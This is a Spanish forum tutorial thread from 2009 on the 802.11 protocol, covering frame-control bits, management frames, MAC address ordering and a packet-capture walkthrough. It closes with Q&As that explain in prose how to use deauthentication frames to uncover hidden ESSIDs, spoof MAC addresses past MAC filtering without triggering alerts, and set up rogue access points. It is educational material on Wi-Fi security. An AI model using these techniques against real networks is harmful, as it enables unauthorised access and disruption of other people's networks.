Protocolo 802.11 Taller Wifi de Vic - Thor - Completo

Wadalbertia Ver Tema - PROTOCOLO 802.11.
TALLER WiFi
Page 1 of 94
Obviar
FAQ Buscar Registrarse Identificarse Wadalbertia
PROTOCOLO 802.11. TALLER WiFi

Foro sobre todo tipo de tecnologas Wireless: Wi-Fi, Bluetooth, IrDA Moderador: Moderadores
Tema cerrado 16 mensajes Pgina 1 de 2 1, 2

Dom Jul 12, 2009 11:06 pm
PROTOCOLO 802.11. TALLER WiFi (#p56061)
PROTOCOLO 802.11. TALLER WiFi.

Durante estas ltimas semanas este foro ha estado ha estado animado, tambin he recibido muchos mensajes privados acerca del comportamiento las redes WiFi protegidas (WEP/WPA) y me he dado cuenta , que si bien mas o menos todos conocemos la prctica de cmo atacar redes inalmbricas, la prctica totalidad de las preguntas que me habis hecho se resuelven con un BUEN CONOCIMIENTO terico de cmo es el comportamiento de las mismas. Es decir, muchos de nosotros sabemos usar herramientas del tipo aricrack-aireplay-airodumpetc--- pero pocos tienen claro por qu funcionan y por qu resulta (a veces sencillo, a veces no tanto) obtener una clave wep o wpa. Por eso, he tirado de mis apuntes (aquellos con los que sufren mis queridos alumnos) y les he dado una aspecto algo informal, espero que el resultado sea bueno. Voy a seguir la misma iniciativa de nuestro querido Taller TCP/IP esperando que este nuevo se convierta en un Taller WiFi. Este hilo permanecer cerrado, los comentarios y dudas las resolveremos en otro (como en el Taller TCP/IP) Si prestis atencin a todo lo que voy a ir comentado y cuando tengis una duda repasis los contenidos que vamos a esbozar seguro que adems de usar esas herramientas, comprenderis cmo funcionan y cmo podemos modificarlas para realizar ataques mas refinados o por pura curiosidad Deberamos comenzar por la capa fsica, esto es, seales, antenas, bandas de radiofrecuencia, dispositivos, tarjetas. Ufff, un sin fin de conceptos y conocimientos que (para lo que se trata en este momento) diremos que sobra. Por tanto, nos hemos de creer dos cosas para saltarnos la capa fsica de un plumazo: 1.- Un Punto de Acceso es un aparato que permite conectar estaciones inalmbricas entre s o incluso estaciones inalmbricas con estaciones por cable.
http://www.wadalbertia.org/foro/viewtopic.php?t=5589
30/10/2011
Wadalbertia Ver Tema - PROTOCOLO 802.11. TALLER WiFi
Page 2 of 94
Tambin un Punto de acceso puede comunicarse con otros puntos de acceso extendiendo la zona inalmbrica o creando un permetro inalmbrico mas grande, es lo que se conoce con el nombre de WDS. 2.- Una estacin inalmbrica es un dispositivo que puede comunicarse con un punto de acceso y por consiguiente, con el resto de estaciones inalmbricas o con estaciones con cable. Tambin una estacin inalmbrica puede comunicarse directamente con otra sin necesidad de punto de acceso, es lo que conocemos como comunicacin ad-hoc. En nuestro estudio nos va a interesar mas cmo acceden al medio tanto las estaciones como los puntos de acceso, esto es, lo que se llama Capa 2 en los modelos de comunicaciones. Si entendemos bien la capa 2 en las comunicaciones inalmbricas, entenderemos, comprenderemos y seremos capaces de escenificar los ataques contra las vulnerabilidades en redes inalmbricas, incluidos los ataques a cifrados y otros como la denegacin de servicios, hombre en medio, despliegue de puntos de acceso ilcitos o reinyeccin de trfico en la red. El trfico en la capa 2 se le llama tramas (frames en ingls) no es que sea muy importante saber el nombrecito pero mejor llamar a cada cosa por su nombre. Un Punto de Acceso tiene: Un nombre al que llamamos SSID (o essid) Una Direccin MAC que llamamos BSSID Un modo de distribucin: Infraestructura, Repetidor, Cliente y algn otro mas. Seguridad y/o cifrado: WEP, WAP, WPA2, sin seguridad (OPEN) Clientes: Las estaciones inalmbricas que se conectan a ellos Enrutamiento: Capa2 y tambin los hay de Capa3 (no todos) Una fuerza de la seal aplicada a cada paquete Un alcance que depende de factores como la antena, el entorno, obstculos, etc. Un punto de acceso, enva y recibe: Tramas de Administracin: Beacons, Probes y Request Tramas de Datos: Cifrados o en texto plano Tramas de Control: RTS, ACKs y CTS Esto anterior no refleja todo lo que un punto de acceso tiene, enva y recibe pero nos acerca bastante a la realidad de los mismos. Es importante sealar que la forma de comunicarse en redes inalmbricas (WiFi) est estandarizado, de ah tenemos el archiconocidos 802.11, junto con sus variantes a,b,c,d,e,g,h,i,n etc cuando encontremos documentos o informacin relativa a 802.11b u 802.11e, etc debemos de asumir que la comunicacin est ordenada, regulada, estandarizada, definida mediante esos estndares. No obstante, existen fabricantes que adems de soportar el estndar , tambin implementan cambios y modificaciones de cosecha propia, es decir, pequeas o grandes variaciones sobre el protocolo de comunicaciones que dicho fabricante aade. Ni que decir tiene, que esos aadidos al ser particulares de un determinado fabricante, podrn slo usarse entre equipamientos del mismo fabricante. Esos aadidos (que a la postre deberan convertirse en mejoras) pueden ser un obstculo cuando entran en escena otro hardware de diferente fabricante, sin embargo, y a menos que el
30/10/2011
Page 3 of 94
administrador de la red inalmbrica as lo decida, siempre sern compatibles con los estandarizados. Est muy claro, pero con un ejemplo quedar todo cristalino (si es que hay algo que aclarar): Ya es conocido que existe un tipo de tramas especial que al enviarlas de forma mal intencionada los clientes que estn asociados a un punto de acceso se desconectan del mismo, es lo que llamamos disociacin. Por qu es esto posible? Porque las tramas del tipo disociacin que un punto de acceso enva a un cliente o a todos no estn protegidas ni cifradas de forma alguna. Esto ocurre siempre, tanto si usamos WEP-WPA como si no. CISCO, incorpora un aadido especial a este tipo de tramas el llamado CCX que no es otra cosa que un control de integridad de las tramas de disociacin (y no slo de ellas) de forma que el ataque de disociacin no sera efectivo. Pero claro, como decamos antes, slo si usamos hardware de CISCO en todo el permetro de la red inalmbrica sera factible implementar dicha caracterstica. Aunque son documentos muy tcnicos (y de eso precisamente quiero huir en esta explicacin) quien lo desee puede consultar libremente los modelos para 802.11, 802.11a, 802.11b, . En:: http://standards.ieee.org/getieee802/ (http://standards.ieee.org/getieee802/) Despus de esta breve introduccin vamos a desmenuzar cmo es una trama de datos en 802.11.
Explicamos (de derecha a izquierda) FCS es un campo de 4 bytes que se aade como control de Secuencia, no debemos preocuparnos de ello por ahora. Cuerpo. Es el contenido de la comunicacin (los datos a transmitir), si no usamos seguridad alguna lo podremos ver en texto plano como si tal cosa, si es un icmp, un intercambio TCP, etc Si est cifrado mediante WEP o WPA pues de momento no tiene sentido lo que vemos. Cabecera MAC: Lo primero que nos llama la atencin es que su tamao puede variar. Variar? Por qu? Porque dependiendo del tipo de mensaje y de otras funcionalidades (por ejemplo si se utiliza QoS o no) puede ser de un tamao u otro, lo que siempre existe en la cabecera MAC es esto:
Y cuando son 26 30 32?? Cuando concurra alguna de estas circunstancias: * QoS (Calidad de Servicio) protocolo 802.11e est habilitado * La comunicacin se realiza entre puntos de acceso.
30/10/2011
Page 4 of 94
Si utilizamos QoS, se aaden 2 bytes para el control de las colas QoS despus de la tercera direccin MAC, o si lo prefieres, antes del nmero de secuencia Si la comunicacin es "entre puntos de acceso, se aade una cuarta direccin MAC (la del otro punto de acceso) inmediatamente despus del nmero de secuencia, como ya sabemos una direccin MAC tiene 6 bytes. Por eso podemos tener cabeceras MAC de varias longitudes, por ejemplo: 24 26 30 32 bytes -> Comunicacin Bytes -> Comunicacin bytes -> Comunicacin bytes -> Comunicacin entre cliente y punto de acceso, sin QoS entre cliente y punto de acceso, con QoS entre puntos de acceso, sin QoS entre puntos de acceso, con QoS
Tambin hay que hacer una salvedad en cuanto a las 3 direcciones MAC que hablaba en el ejemplo puse origen-destino-bssid, no es as realmente. Todo depender de si se trata de una trama de administracin, de datos o de la direccin del trfico. Es decir, la direccin MAC1 (los bytes 4-5-6-7-8-9-10) pueden representar el bssid, la direccin MAC origen e incluso la direccin MAC destino. Lo mismo ocurre con las otras dos direcciones MAC, MAC2 y MAC3. Todava es pronto para comprender bien este baile de direcciones MAC, de momento nos quedamos que MAC1, MAC2 y MAC3 representan las direcciones origen, destino y bssid de la comunicacin PERO NO PRECISAMENTE Y SIEMPRE EN ESE ORDEN!!!!! Llegados a este punto, Cmo se sabe si se trata de una trama de control, de administracin o de datos??? Por los dos primeros bytes de la cabecera MAC, esto es, el FC o Frame Control Al ser un campo de dos bytes contiene 16 bits de informacin correspondiente al tipo de trama, al subtipo, a si la comunicacin ve hacia el punto de acceso, si va hacia el cliente, si est fragmentada, si hay mas datos, si se trata de una trama retransmitida, y otros como si los datos van o no cifrados, si se utiliza power management (administracin de energa). Tenemos que leer esos bits de derecha a izquierda, por ejemplo, supongamos que el campo frame control contiene el valor 08 41 en hexadecimal en binario son: (#) (#) Cdigo: 0 = 0000 8 = 1000 4 = 0100 1 = 0001
Los interpretaremos de derecha a izquierda y por parejas, esto es, leemos los bits de derecha a izquierda: 08 = 0000 1000
30/10/2011
Page 5 of 94
41 = 0100 0001
Observa que los bits estn rotados de forma que el mas significativo es el que est mas a la izquierda, vamos que no hay que interpretarlo (segn el ejemplo) as:
Ahora pasemos a explicar cada campo (al menos los mas significativos) Versin del Protocolo: bit 0 y 1 Sern siempre cero. Otros valores significarn que no se corresponde con el estndar (por ejemplo una versin propia de un fabricante) Tipo de Trama (bits 2 y 3) Identifican el tipo de trama, es decir, si es de administracin, de control o de datos. Subtipo (bits 4,5,6 y 7) Es una descripcin mas detallada del tipo. ToDS (bit 8 ) Este bit est a uno cuando la trama viaja hacia el sistema de distribucin, por ejemplo si la trama la enva un punto de acceso a otro punto de acceso o si una estacin enva la trama al punto de acceso. FromDS (bit 9) Este bit est a uno si la trama viaja desde el sistema de distribucin, por ejemplo cuando un punto de acceso enva tramas a las estaciones. Tambin est a uno cuando la trama viaja de un punto de acceso a otro. WEP (bit 14) Este bit se activa (a uno) si los datos estn cifrados, en caso contrario los datos viajan en texto plano. El resto de bits (por ahora) no tienen mucho significado en esta explicacin, eso s, conviene aclarar o ampliar los valores de tipo, subtipo, ToDS y FromDS, unas tablas ayudarn a ello.
Seguro que sino ests pensando que esto es un rollo, al menos pensars que de momento es fcil vamos a plantear tres preguntas (con trampa, claro, de lo contrario no tiene gracia)
30/10/2011
Page 6 of 94
1.- Segn lo expuesto. Si nos encontramos con una trama y los bits 8 y 9 de FC estn a cero podemos asegurar que se trata de una comunicacin ad-hoc? R: Si consultamos la tabla que os puse antes, es tajante la respuesta es SI. Pero no es oro todo lo que reluce La respuesta correcta es NO. Si bit 8 y bit 9 son cero, efectivamente puede ser una comunicacin ad-hoc siempre y cuando la trama sea de DATOS!!! Si, por ejemplo, la trama es de administracin (por ejemplo un beacon o sealizacin) bit 8 y bit 9 son cero y por supuesto no es una comunicacin entre estaciones. 2.- Otra Es posible encontrarnos con una trama en la que la cabecera MAC tiene menos de 24 bytes??? R: Al igual que antes, si repasamos lo dicho, la respuesta es NO, puesto que len la cabecera MAC exite un FC de 2 bytes, una duracin de 2 bytes. al menos 3 direcciones MAC de 6 bytes cada una (18 en total) y un nmero de secuencia/fragmento de otros 2 bytes, o sea, un mnimo de 24 bytes pero la respuesta correcta debera haber sido SI!!!! SI, por ejemplo una trama de control con subtipo Clear-to-Send (permitido para transmitir) tiene nicamente una longitud de 10 bytes: 2 para FC, 2 para la duracin y 6 para la MAC del punto de acceso quien la enva. 3.- Al analizar una trama descubrimos que el bit 14 (Wep) est activado Es realmente una trama cifrada con WEP? R: NO. Ciertamente los datos (el cuerpo de la trama) estarn cifrados, pero no tiene que ser obligatoriamente con WEP. Bien puede ser WPA o WPA2, este bit indica que los datos estn protegidos, pero no te dejes engaar por el nombre del campo, el bit wep a uno indica cifrado, pero no necesariamente un cifrado WEP. Estas tres preguntas aunque no te lo parezca por ahora, son importantes Primero porque si nos decidimos a lanzar un ataque contra una red WiFi, dependiendo de lo que queramos conseguir habr que realizarlo sobre tramas de datos, administracin o control y en el caso de atacar un cifrado, pues contra el mismo Ahora que ya somos capaces de identificar los diferentes tipos de tramas, vamos a representar la coreografa de cmo funciona todo el mecanismo: Primero conocer los estados en los que nos podemos encontrar: Un cliente puede estar: No asociado ni autenticasdo: Es decir, ni tan siquiera intent conectarse a la red inalmbrica Autenticado: El cliente desea participar de la red pero todava no finaliz la asociacin por completo. Asociado: El cliente se asoci y al proporcionar una clave correcta disfruta de los recursos de la red.
30/10/2011
Page 7 of 94
Como ves en la figura, un cliente asociado puede dejar de estarlo y permanecer autenticado. Normalmente son los puntos de acceso quienes envan tramas de disociacin y des-autenticacin. Son los clientes (las estaciones) los que envan tramas de autenticacin, asociacin y/o reasociacin, tambin de disociacin cuando abandona la red. La reasociacin es un caso especial, es aquel en el que una estacin estaba asociada y recibi una trama de disociacin entonces queda en estado autenticado y reinicia la asociacin mediante una solicitud de reasociacin. Resumiendo: Un cliente asociado (complet todo el proceso de incorporacin a la red) puede ser desasociado o des-autenticado por el punto de acceso Un cliente autenticado puede ser des-autenticado por el punto de acceso. Un cliente que fue desautenticado podr solicitar una reasociacin Un cliente no asociado ni autenticado, primero solicitar autenticacin y luego asociacin. Un cliente autenticado solicitar asociacin o reasociacin dependiendo del estado anterior al momento de la autenticacin. Por supuesto que un cliente tambin puede abandonar la red sin necesidad que sea el punto de acceso quien lo haga, a los efectos, sera igual que lo descrito anteriormente. ltima edicin por Vic_Thor (./memberlist.php?
mode=viewprofile&u=12&sid=0d05f5614e7cdef94ebf1b2a049be8c3) el Lun Jul 13, 2009
12:23 am, editado 2 veces en total Arriba (#top)

Dom Jul 12, 2009 11:26 pm
ESTRUCTURA DE UN FRAME CONTROL (#p56062)
ESTRUCTURA DE UN FRAME CONTROL

Un punto de acceso enva o recibe:
Beacons o sealizaciones Normalmente lo hace a intervalos regulares y sirve para que los clientes lo vean y puedan conectarse al mismo.
Se puede restringir el envo de beacons, si este es el caso, el cliente debe conocer el essid (nombre) para poder realizar los pasos de asociacin y autenticacin.. Es el mecanismo por el que las estaciones pueden enumerar todos los puntos de acceso disponibles. El formato tpico de una trama beacon es esta:
* Tambin puede existir un cuarto campo de MAC despus del nmero de secuencia para el caso
30/10/2011
Page 8 of 94
de comunicacin entre puntos de acceso. El FC de un beacon es:
El cuerpo de un beacon contiene informacin del tipo: Marcas de tiempo, intervalo de sealizacin, SSID, Tasa de transmisin soportada (1Mb, 11Mb, 22Mb, etc), Frecuencia, y otros como DS, CF, IBSS, TIM, Pas, patrones y parmetros FH. En una ampliacin posterior hablaremos de ello (para los curiosos)
Probes: Es un intercambio de mensajes que tpicamente ocurre entre el punto de acceso y las
estaciones, los mas habituales son: Request y Response (Solicitud de Sondeo y Respuesta de Sondeo) El formato tpico de una trama Probe es esta:
* Tambin puede existir un cuarto campo de MAC despus del nmero de secuencia para el caso de comunicacin entre puntos de acceso. El FC de un Probe Request es:
El cuerpo de un mensaje de tipo Probe Request contiene el SSID, Tasas de datos soportados y otros identificadores que puedan resultar interesantes.
El cuerpo de un mensaje de tipo Probe Response contiene bsicamente los mismos elementos que el de un beacon mas los identificadores solicitados mediante el probe request que se solicit.
Autenticacin:
La autenticacin implica una serie de intercambios entre las estaciones y el punto de acceso. No siempre se realiza de la misma manera, esto es porque pueden existir otros sistemas de autenticacin (tipo RADIUS) que tambin pueden estar presentes. Por lo general, una trama de Autenticacin es esta:
* Tambin puede existir un cuarto campo de MAC despus del nmero de secuencia para el caso de comunicacin entre puntos de acceso. El cuerpo del mensaje de una trama de autenticacin depende de cada contexto, de los algoritmos de cifrado si los hay, de los protocolos, etcEntre ellos tambin existe un nmero de secuencia para la autenticacin en curso y cdigos de estado y respuesta.
30/10/2011
Page 9 of 94
Un ejemplo tpico es: Cuerpo del mensaje de autenticacin: 2 bytes para el algoritmo y/o tipo: por ejemplo 00 00 para Sistemas Open 2 bytes para el nmero de secuencia, p.e. 01 00 (n secuencia 1) 2 bytes para definir el estado o razn de la autenticacin, p.e. 00 00 (satisfactorio) El FC de una solicitud de autenticacin es:
Una vez se hayan intercambiado toda la serie de mensajes entre el punto de acceso y las estaciones, el punto de acceso enviar otra trama de autenticacin al cliente con idntica estructura en su FC pero en el cuerpo de la trama incluir: Nmero de secuencia de autenticacin recibida + 1 (si se envi 0100 se recibir 0200) Estado o razn de la autenticacin: por ejemplo 00 00 si result satisfactoria.
Desautenticacin
Este tipo de trama es de una sola va y normalmente lo enva un punto de acceso a una estacin o a todas (broadcast) con el objeto de des-autenticar a los clientes autenticados. y/o asociados. En cualquiera de los casos, las estaciones clientes debern repetir todo el proceso para volver a la red. Por lo general, una trama de Des-Autenticacin es esta:
MAC1 es la direccin MAC del equipo que esta siendo desautenticado MAC2 El cuerpo de la trama contiene entre otros datos, informacin de las razones de la desautenticacin El FC de una des-autenticacin es:
Asociacin
Consiste en un intercambio de tramas de administracin con subtipo Request y Response una vez que la autenticacin result correcta.
En el cuerpo de la trama se incluye informacin diversa acerca de las capacidades del dispositivo, tasas de transmisin (Rate) soportados, QoS, el ESSID, y opcionalmente razones y estados de la solicitud de la asociacin.
30/10/2011
Page 10 of 94
El FC de una Solicitud de Asociacin es:
As mismo, la respuesta de la asociacin es esta:
En la Cabecera MAC de las tramas de Asociacin, las MACs de cada dispositivo bailan dependiendo de si es una Solicitud o Respuesta, en cualquier caso siguen la forma definida: Destino Origen BSSID Relativo a la Asociacin, existen otros dos formatos de trama relacionados, estas son Reasociacin y Disociacin. Un Punto de Acceso puede enviar tramas de disociacin a una determinada estacin o a todas (broadcast). El resultado final sern clientes desconectados. Un cliente o estacin, puede enviar tramas de reasociacin tras recibir una disociacin y generalmente son tambin de un slo sentido. Tambin un cliente puede enviar tramas de reasociacin si ya est conectado a un punto de acceso y desea asociarse con otro.
Reasociacin
El Formato trama para una reasociacin es:
Observa que en este caso tenemos 4 MACs, de forma que: MAC1 MAC2 MAC3 MAC4 es la direccin del cliente es la del Punto de acesso con el que se desea reasociar es la direccin del punto de Acceso con el se est actualmente asociado Es la direccin del BSSID
El FC para una Solicitud de reasociacin es:
El FC para una Respuesta de reasociacin es:
Disociacin
El Formato trama para una disociacin es::
En este caso slo se utilizan dos direcciones MAC, una para la direccin de la estacin que se
30/10/2011
Page 11 of 94
desea disociar (o broadcast para todas) y la otra para la direccin MAC del Punto de Acceso. En el cuerpo de la trama se incluyen razones y/o estados relevantes a la disociacin El FC de una disociacin es:
Resumen: segn lo visto hasta ahora, las tramas de Administracin y sus correspondientes FC seran:
Arriba (#top)
Dom Jul 12, 2009 11:39 pm
ANLISIS DE CAPTURA DE TRFICO 802.11 (#p56064)
ANLISIS DE CAPTURA DE TRFICO 802.11

Conviene practicar con algn esnifer para afianzar lo explicado, un buen candidato es WireShark (usa el que prefieras) a continuacin te pongo una serie de pantallas que ilustran todo lo explicado. Se han eliminado bastantes paquetes de las capturas y aunque no estn todas las tramas que hemos estudiado, la mayora s. El punto de Acceso es un Cisco Linksys y la estacin la tarjeta identificada como D-Link: En la primera pantalla observamos la secuencia de lo sucedido: El Punto de Acceso enva sus beacons (paq. 1) El cliente enva Probe Request (paq. 2) El punto de Acceso responde con sus Probe Response (paq. 3) El cliente inicia la autenticacin (paq. 4) Enva un ACK (trama de control) paq. 5 El punto de acceso responde a la autenticacin (Paq. 6) Y Tambin enva una trama de control de asentimiento ACK (paq. 7) El cliente inicia la asociacin Solicitud junto con el ACK (paq. 8 y 9) El Punto de acceso enva una respuesta de autenticacin y el ACK (paq. 10 y 11) Se inicia el intercambio de datos (paq. 12 y 13) El cliente se desautentica (paq. 14)
Obviamente hay muchos otros intercambios, acks, tramas de control del tipo RTS y CTS, pero bsicamente ese es el proceso, lo vemos:
Escenario General
Paquete 1. Beacon
30/10/2011
Page 12 of 94
Paquete 2. Probe Request
Paquete 3. Probe Response
Paquete 4. Autenticacin
Paquete 5. Trama de Control. ACK
Paquete 6. Autenticacin
Paquete 7. Trama de Control ACK
Paquete 8. Asociacin Request
Paquete 10. Asociacin Response.
Paquete 12. Trama de Datos
Paquete 13. Trama de Datos
Paquete 14. Desautenticacin
30/10/2011
Page 13 of 94
Para los que queris observar con mas detalle estos mismos paquetes capturados os dejo un enlace para que os podis descargar el archivo .cap del mismo: http://www.megaupload.com/?d=Y32ZK1G3 (http://www.megaupload.com/?d=Y32ZK1G3) Ale!! a estudiar ltima edicin por Vic_Thor (./memberlist.php?
12:43 am, editado 3 veces en total Arriba (#top)

Dom Jul 12, 2009 11:48 pm
LA DANZA DE MACS Y TIPOS DE TRAMA (#p56065)
LA DANZA DE MACS Y TIPOS DE TRAMA

No puedo terminar esta parte sin comentar algo que es muy importante a la hora de analizar el trfico de tramas de datos. Como dije al comienzo de este documento, cuando existen datos a transmitir, o mejor dicho, cuando el tipo de trama en la FC es de datos (10) las direcciones MAC bailan dependiendo de si estn activos o no los bits toDS y FromDS, te pongo una imagen que vale mas que mil palabras: Y un ejemplo general Un cliente enva un ping al punto de de acceso, por tanto toDS est a uno (1) y FromDs estar a cero (0) En la cabecera MAC de la trama las direcciones MAC1, Mac2 y Mac3 seran: MAC1 = BSSID (la MAC del punto de acceso) MAC2 = Origen (la MAC del cliente) MAC3 = Destino (la MAC del punto de acceso Ahora el punto de acceso responde FromDS = 1 y ToDS=0 MAC1= Destino (la MAC del cliente) MAC2= BSSID (la MAC del punto de acceso) MAC3= Origen (la MAC del punto de acceso) Observa que en este caso no es el consabido destino-origen-bssid, realmente esto slo se cumple cuando ToDS y FromDS estn a cero (comunicacin ad-hoc o por ejemplo, tramas de administracin) Tambin puedes pensar que para qu 3 MACs?? si la comunicacin es entre dos claro, cuando la comunicacin es entre punto de acceso y cliente (exclusivamente) pues es como raro, pero imagina que la comunicacin es entre dos clientes inalmbricos por ejemplo STA-01 hace un ping a STA-99 STA-01 enviar una trama de datos hacia el punto de acceso pero con destino a STA-99, bits toDS a 1 y FromDS a 0 MAC1 = BSSID (mac del punto de acceso) MAC2 = Origen (mac de STA-01) MAC3 = Destino (mac de STA-99) El punto de acceso enviar los datos a STA-99 con bit toDS a 0 y FromDS a 1
30/10/2011
Page 14 of 94
MAC1 = Destino (Mac de STA-99) MAC2 = BSSID (Mac del punto de acceso) MAC3 = Origen (Mac de STA-01) STA-99 recibe el paquete y responde al ping lo enviar hacia el sistema de distribucin con destino a STA-01 (bit FromDS =0 y toDS=1) MAC1= BSSID (mac del punto de acceso) MAC2 = Origen (MAC de STA-99) MAC3 = Destino (MAC de STA-01) Por ltimo, el punto de acceso enva el paquete a STA-01 con bits FormDS=1 y toDS=0 MAC1 = Destino (Mac de STA-01) MAC2 = BSSID (Mac del punto de acceso) MAC3 = Origen (Mac de STA-99) No olvides esto!!! Ser importante a la hora de colocar bien las MACs cuando usemos herramientas del tipo aircrack-ng o las nuestras propias. Para saber si una trama viaja desde o hacia el sistema de distribucin (y as colocar las macs en su orden correcto) slo tendremos que comprobar el byte 1 de Frame Control, imagina que capturas una trama de datos que es algo as: (#) (#) Cdigo: 08 42 2c 00 00 00 1d .
Lo que tendremos que hacer es analizar el segundo byte de la FrameControl, por ejemplo, para saber si FromDS est activado: Supongamos que tenemos un array llamado paquete[] que tiene todos y cada uno de los valores de la trama, de tal modo: (#) (#) Cdigo: paquete[0]=0x08 paquete[1]=0x42 paquete[2]=0x2c y as hasta el final
El que nos interesa es paquete[1], si hacemos un AND con 0x01 con 0x02 obtendremos 1 2 dependiendo del estado de toDS y de FromDS: (#) (#) Cdigo: If paquete[1] AND 0x02 = 0x02 entonces es un paquete FromDS activado If paquete[1] AND 0x01 = 0x01 entonces es un paquete toDS activado
Tambin podramos comprobarlo as: (#) (#) Cdigo: Estado= paquete[1] AND 0x03 Switch (Estado) {
30/10/2011
Page 15 of 94
Case 0: es un paquete con FromDS y TodS a cero, probablemente de una Una estacin a otra estacin (modo as-hoc) Case 1: Es un paquete con FromDS a cero y ToDS a uno, probablemente de Un cliente al punto de acceso Case 2: Es un paquete con FromDS a uno y toDS a cero, probablemente de Un punto de acceso a un cliente Case 3: Es un paquete con FromDs a uno y ToDS a uno, probablemente de Un punto de acceso a otro punto de acceso (modo wds) }
As mismo, si deseramos averiguar si se trata de una trama de datos, podramos hacer algo asi: (#) (#) Cdigo: If paquete[0] AND 0x0c = 0x08 se trata de un paquete de datos If paquete[0] AND 0x0c = 0x00 se trata de una trama de administracin If paquete[0] AND 0x0c = 0x04 se trata de un trama de control
Observa que ahora se analiz el byte cero del paquete correspondiente. Para saber si un paquete es QoS o no, tambin comprobaremos el byte cero. (#) (#) Cdigo: If paquete[0] AND 0x80 = 0x80 se trata de un paquete QoS
Esto viene a cuento porque en el momento que estemos preparados, vamos a crear pequeos programas para poder analizar el trfico y/o enviar tramas a nuestro gusto. ltima edicin por Vic_Thor (./memberlist.php?
12:06 am, editado 1 vez en total Arriba (#top)

Lun Jul 13, 2009 12:05 am
10 PREGUNTAS SENCILLAS (#p56066)
10 PREGUNTAS SENCILLAS
Bien, ahora unas preguntas que nos ayudarn a entender algunos de los ataques mas comunes a redes Wifi, 1.- El ESSID oculto. Es una de las medidas clsicas a tomar para comenzar a proteger nuestra red, se basa en ojos que no ven. Pero del todo insuficiente en cuanto a la proteccin de la red. Cuando configuramos un Punto de Acceso con SSID oculto lo que estamos haciendo realmente
30/10/2011
Page 16 of 94
explicar a nuestro equipo que no emita sealizaciones (beacons) y por tanto parar inadvertido al no anunciarse. Los clientes que se quieran conectar a un punto de acceso con essid oculto deben estar configurados con el nombre previamente puesto que como no se anuncia no lo veremos y no podremos conectarnos a l. 2.- Si el punto de acceso no emite beacons, cmo es posible averiguar el essid??? R: Porque las tramas Probe Request y Probe Response contienen el essid, y stas tramas se siguen anunciando aunque el essid est oculto. Lo nico que tenemos que hacer es poner el esniffer y esperar a que un cliente se asocie a la red o si ya existe alguno o varios asociados, enviar tramas de disociacin o des-autenticacin, cuando los clientes se reasocien tendremos el essid en las tramas probe request y response. Otra forma de recuperar un essid oculto es capturar los intercambios EAP (de esto ya hablaremos) all tambin podremos encontrar el essid oculto. Aunque como vemos es sencillo recuperar un essid oculto, no deja de ser una medida recomendable siempre que se pueda siempre que se pueda? Por???? En redes pblicas no se debe hacer , hombre!!! 3.- La cabecera MAC se difunde en texto plano (all estn las MAC de origen, destino y BSSID) Ya sabemos que no se deben usar MACs duplicadas en comunicaciones. Qu pasa en una red inalmbrica si dos clientes usan la misma MAC? R: depender del estado de cada uno de ellos, si uno est asociado y el otro no, no hay problemas. 4.- Y si los dos clientes estn asociados usando la misma MAC??? R: Pues quien tiene un problema a resolver es el punto de acceso. En entornos con una seguridad elevada esto har saltar una alarma (incluso si todava no se complet el proceso de asociacin) Si la seguridad de la red es por defecto vamos, que el administrador de la misma piensa que ya es suficiente con los mecanismos bsicos de proteccin, con un poco de habilidad por un supuesto atacante, pueden coexistir pacficamente, tendra que controlar bien el broadcast de la tarjeta usurpadora para que el punto de acceso no tenga dudas, poder, se puede. 5.- Y qu le ocurre a un cliente legtimo si me coloco su MAC y me asocio a la red?? R: Lo normal es que le eches fuera (bueno, lo har el punto de acceso por ti) lo que ocurre es que cuando se vuelva a asociar nos tocar a nosotros estar fuera y as cada vez. Pero tambin hay puntos de acceso que no lo hacen as y los problemas se pasan a capas superiores en la comunicacin, es decir, tendremos problemas de red. 6.- Entonces?? El filtrado de MAC es insalvable?
30/10/2011
Page 17 of 94
R: El filtrado de MAC es un mecanismo de seguridad durante el proceso de autenticacin, si la MAC est en la lista blanca, pues ea!!! Que siga con el resto y se asocie si quiere. En redes que usan este tipo de filtros hay que ponerse una MAC de un cliente que no genere mucho trfico o que acabe de salir (sin echarle a patadas) Recuerda que existen mecanismos para detectar este tipo de incidencias y se pueden generar alertas de intrusin cuando dos macs iguales estan presentes. Tambin depender del tipo de cifrado que se utilice, con WPA no sera posible puesto que parte del cifrado de los datos se incluye como generacin de la integridad del mensaje, las direcciones MAC origen y destino (ya lo veremos) Por todo esto es mejor usar la mac usurpada tras la desconexin del cliente y no invitarle a que se marche. 7.- Y si existen dos puntos de acceso con el mismo BSSID, con el mismo ESSID y emitiendo por el mismo canal? R: Pues esto (en el caso de que sea un ataque y no un error) es lo que se llama un Fake-AP o Rogue AP (Punto de Acceso falso o ilcito) Los clientes que inicien un proceso de asociacin lo harn contra aqul punto de acceso que reciban con mas fuerza en su seal, es decir, si estamos mas cerca de una estacin que el verdadero punto de acceso, ese cliente se asociar con nosotros en lugar de con el verdadero AP. Las herramientas especficas para este tipo de ataques incorporan funcionalidades como la de reenrutar los paquetes para que la estacin vctima ni se de cuenta de lo que pasa. 8.- Se puede proteger una red contra un ataque del tipo Fake-AP??? R: Una cosa es proteger y otra detectar. Proteger es imposible puesto que nunca estaremos seguros que alguien lo intente o no, lo que s es viable es detectarlo. An as, si usamos certificados para la autenticacin (p.e. alguno de los mtodos EAP) el punto de acceso pedir al cliente que demuestre que es quien dice ser. Si los clientes estn bien configurados, desplegar un punto de acceso falso no tendr xito. 9.- Se pueden prevenir los ataques del tipo desautenticacin o disociacin? R: Por el momento NO, el estndar 802.11 (y sucesivos) no lo implementa, en un futuro parece que s se podr, se est trabajando en protocolos que lo impidan. Pero desgraciadamente, los ataques contra la capa fsica (interferencias) siguen siendo posibles, si bien, los medios ya no son slo un porttil con una tarjeta maliciosa 10.- Es posible evitar las escuchas en una red Wifi. R: Pues eso s que no es posible evitarlo es un ataque pasivo la nica defensa posible es ajustar bien el permetro de la red y no propagar la seal ms all de donde deba llegar, cosa bastante difcil en la mayor parte de las ocasiones.
30/10/2011
Page 18 of 94
